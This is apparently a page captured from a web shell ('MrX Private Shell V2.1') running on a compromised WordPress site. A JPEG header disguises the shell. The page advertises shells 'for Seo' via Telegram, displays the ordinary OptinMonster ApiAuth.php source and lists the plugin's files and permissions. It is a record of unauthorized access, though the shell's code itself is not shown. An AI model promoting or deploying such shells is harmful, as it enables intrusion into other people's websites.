����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Api Auth class.
*
* @since 2.6.5
*
* @package OMAPI
* @author Justin Sternberg
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Api Auth class.
*
* @since 2.6.5
*/
class OMAPI_ApiAuth {
/**
* Get the auth token from the DB..
*
* @since 2.6.5
*
* @return array Auth token array.
*/
public static function get_token() {
return get_option(
'optinmonster_site_token',
array(
'expires' => 0,
'tt' => '',
)
);
}
/**
* Check if token exists in DB.
*
* @since 2.6.5
*
* @return boolean Whether it exists.
*/
public static function has_token() {
$token = self::get_token();
return ! empty( $token['expires'] ) && ! empty( $token['tt'] );
}
/**
* Get the tt value from the auth token (or generate the auth token).
*
* @since 2.6.5
*
* @return string The tt value from the auth token.
*/
public static function get_tt() {
$token = self::get_token();
if ( empty( $token['tt'] ) ) {
// if TT is empty, generate a new one, save it and then return it.
$token = array(
'expires' => time() + ( 2 * MINUTE_IN_SECONDS ),
'tt' => self::generate_tt(),
);
update_option( 'optinmonster_site_token', $token );
}
return $token['tt'];
}
/**
* Generate the tt value (long random string).
*
* @since 2.6.5
*
* @return string Tt value.
*/
public static function generate_tt() {
return hash( 'sha512', wp_generate_password( 128, true, true ) . AUTH_SALT . uniqid( '', true ) );
}
/**
* Validate whether given tt value matches auth token tt value,
* and whether the auth token has expired.
*
* @since 2.6.5
*
* @param string $passed_tt The tt value to validate.
*
* @return bool Whether tt value is validated with the token.
*/
public static function validate_token( $passed_tt = '' ) {
if ( empty( $passed_tt ) ) {
return false;
}
$token = self::get_token();
if ( empty( $token ) ) {
return false;
}
$expired = ! empty( $token['expires'] ) ? $token['expires'] < time() : true;
$tt = ! empty( $token['tt'] ) ? $token['tt'] : '';
$matches = hash_equals( $tt, $passed_tt );
return $matches && ! $expired;
}
/**
* Delete the auth token.
*
* @since 2.6.5
*
* @return bool True if the option was deleted, false otherwise.
*/
public static function delete_token() {
return delete_option( 'optinmonster_site_token' );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|